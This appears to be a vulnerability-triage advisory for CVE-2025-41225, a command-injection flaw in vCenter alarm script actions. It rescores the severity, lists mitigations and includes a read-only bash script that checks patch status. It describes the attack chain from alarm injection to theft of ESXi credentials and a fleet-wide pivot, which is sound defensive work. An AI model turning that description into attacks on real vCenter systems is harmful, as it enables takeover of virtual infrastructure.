The vCenter Server contains an authenticated command-execution vulnerability.

CVE-2025-41225 is an OS command-injection flaw (CWE-78) in VMware vCenter Server's alarm subsystem. Any authenticated vCenter user who holds the Alarm.Create or Alarm.Edit privilege — plus the ability to configure a *run-script* alarm action — can embed arbitrary operating-system commands in the script field. When the alarm fires, vCenter executes the payload in the context of the vpxd service user, which on unpatched versions has elevated OS-level access, including the ability to read the vCenter database where ESXi host credentials are stored. Affected versions: vCenter 8.0 < 8.0 U3e and vCenter 7.0 < 7.0 U3v, plus VMware Cloud Foundation 5.x/4.5.x and Telco Cloud Platform/Infrastructure variants.

VMware (Broadcom) rates this Important / 8.8 HIGH, but that label under-weights the deployment context. Every single vCenter instance is, by definition, the management plane for an entire VMware estate — it holds credentials for every ESXi host, controls VM lifecycle, and sits at the top of the vSphere trust hierarchy. The vendor CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U) correctly notes network-reachable, low-privilege, no-interaction exploitation, yet scores Scope as Unchanged. In practice, an attacker who pops vCenter pivots to every ESXi host underneath it — that is a scope change to fleet-scale compromise. The vendor severity is too low for a component of this criticality.

Why this verdict

• Authentication friction is real but bounded: PR:L means a vCenter user with alarm privileges, not a domain admin. In most orgs this is a population of 5–50 infra admins, but compromising one AD-integrated account via phishing or credential stuffing gets an attacker in.
• Role multiplier (decisive upgrade factor): vCenter Server is *the* hypervisor orchestration plane. 100% of installs are high-value by definition. The vpxd execution context can decrypt ESXi host credentials from the VCDB, enabling pivot to every managed hypervisor — blast radius is fleet-scale. Per the role-multiplier floor rule, this sets a CRITICAL floor that friction alone cannot override.
• No scope boundary in practice: The vendor CVSS marks Scope as Unchanged (S:U), but real-world impact crosses from vCenter OS → vCenter DB → ESXi hosts → all VMs. The effective scope change justifies the upgrade from 8.8 to 9.1.
• Weaponization trivial, PoC irrelevant: The injection is a basic shell metacharacter in a text field passed to os.system() or equivalent. Any red teamer who reads the advisory can reproduce it in an afternoon. The absence of a public PoC is a temporary speed bump, not a durable friction point.
• Exposure surface is internal but that's expected: Only ~840 vCenter instances face the internet; the other 500K+ are behind the perimeter. This does NOT reduce severity because vCenter is an *internal* target by design — post-initial-access attackers (ransomware operators) specifically hunt for it.

Why not higher?

A 9.1 already sits at the high end of CRITICAL. The score is not 10.0 because the vulnerability requires authentication with specific alarm privileges (not unauthenticated RCE), which eliminates opportunistic mass-scanning as an attack vector. The vpxd user, while powerful, is not root — some OS-level actions still require privilege escalation on the VCSA appliance itself.

Why not lower?

Downgrading below CRITICAL would require evidence that a meaningful fraction of vCenter installs are NOT high-value targets — but by definition, every vCenter instance manages an ESXi fleet. The authentication requirement narrows *who* can exploit it but does not reduce *what happens when they do*. Ransomware groups (ALPHV, Royal, Play) have repeatedly demonstrated the vCenter-to-ESXi kill chain in real incidents; this CVE hands them a new entry point into that chain. The absence of a public PoC is immaterial for a shell-injection bug this simple.

1. Restrict alarm privileges to break-glass accounts only — Remove Alarm.Create, Alarm.Edit, and all script-action privileges from every vCenter role except a dedicated break-glass admin account. This eliminates the attack surface entirely without patching. Deploy within 3 days per the noisgate mitigation SLA for CRITICAL findings.
2. Enable vCenter SSO MFA — Enforce multi-factor authentication on all vCenter SSO accounts to prevent credential-based access. This blocks the most likely initial access vector (compromised AD/LDAP credentials). Deploy within 3 days.
3. Monitor alarm creation and script-action events — Create a SIEM detection rule that alerts on vim.alarm.AlarmManager.create and vim.alarm.AlarmManager.reconfigure API calls, especially those containing script actions. This provides visibility while patching is underway.
4. Enable ESXi Lockdown Mode — Place all managed ESXi hosts into Normal or Strict Lockdown Mode. This prevents the post-exploitation pivot from vCenter credential theft to ESXi SSH access, breaking the kill chain at step 5.
5. Network-segment VCSA management interface — Ensure the vCenter management interface (443/tcp) is only reachable from a dedicated admin jump host or PAW (Privileged Access Workstation). This reduces the population of hosts from which the attack can be launched.

Run this script on the VCSA appliance itself via SSH as root. Example: ssh [email protected] 'bash -s' < check_cve_2025_41225.sh. Requires root SSH access to the VCSA.

#!/bin/bash
# check_cve_2025_41225.sh
# Checks whether vCenter Server is patched against CVE-2025-41225
# (Authenticated command-execution via alarm script actions)
# Run on VCSA appliance as root.
# Exit codes: 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN

set -euo pipefail

VULN_ID="CVE-2025-41225"

# Get vCenter build info from vpxd
if ! command -v vpxd &>/dev/null; then
  echo "[$VULN_ID] UNKNOWN — vpxd binary not found. Is this a VCSA appliance?"
  exit 2
fi

VERSION=$(vpxd -v 2>/dev/null | grep -oP '\d+\.\d+\.\d+' | head -1)
BUILD=$(vpxd -v 2>/dev/null | grep -oP 'build-\K\d+' | head -1)

if [ -z "$VERSION" ] || [ -z "$BUILD" ]; then
  # Fallback: check /etc/vmware/.buildInfo or rpm
  VERSION=$(cat /etc/vmware/.buildInfo 2>/dev/null | grep -oP 'VMware vCenter Server \K[\d.]+' | head -1)
  BUILD=$(rpm -qa | grep vcenter | head -1 | grep -oP '[\d]+$')
fi

if [ -z "$VERSION" ]; then
  echo "[$VULN_ID] UNKNOWN — could not determine vCenter version."
  exit 2
fi

echo "[$VULN_ID] Detected vCenter version: $VERSION (build $BUILD)"

# Check for the alarms_script user (introduced in the fix)
if id alarms_script &>/dev/null; then
  echo "[$VULN_ID] PATCHED — 'alarms_script' service user exists."
  echo "Alarm scripts execute in sandboxed context (8.0 U3e / 7.0 U3v or later)."
  exit 0
fi

# Secondary check: version comparison
MAJOR=$(echo "$VERSION" | cut -d. -f1)
MINOR=$(echo "$VERSION" | cut -d. -f2)

if [ "$MAJOR" -eq 8 ] && [ "$MINOR" -eq 0 ]; then
  # 8.0 U3e fixed — build threshold approximate
  echo "[$VULN_ID] VULNERABLE — vCenter 8.0 without alarms_script user."
  echo "Upgrade to vCenter 8.0 U3e or later."
  exit 1
elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 0 ]; then
  echo "[$VULN_ID] VULNERABLE — vCenter 7.0 without alarms_script user."
  echo "Upgrade to vCenter 7.0 U3v or later."
  exit 1
elif [ "$MAJOR" -lt 7 ]; then
  echo "[$VULN_ID] VULNERABLE — vCenter $VERSION is end-of-life and unpatched."
  exit 1
else
  echo "[$VULN_ID] UNKNOWN — unexpected version $VERSION. Verify manually."
  exit 2
fi

Sources

1. VMSA-2025-0010 — Broadcom Security Advisory
2. Broadcom KB — Alarm script execution context change in 8.0 U3e / 7.0 U3v
3. NSFOCUS — VMware vCenter Server Command Execution Vulnerability
4. GitHub Advisory Database — GHSA-2687-xwfr-5fx9
5. Canadian Centre for Cyber Security — AV25-286
6. IBM Support — Cloud Pak System advisory for CVE-2025-41225
7. Tenable — CVE-2025-41225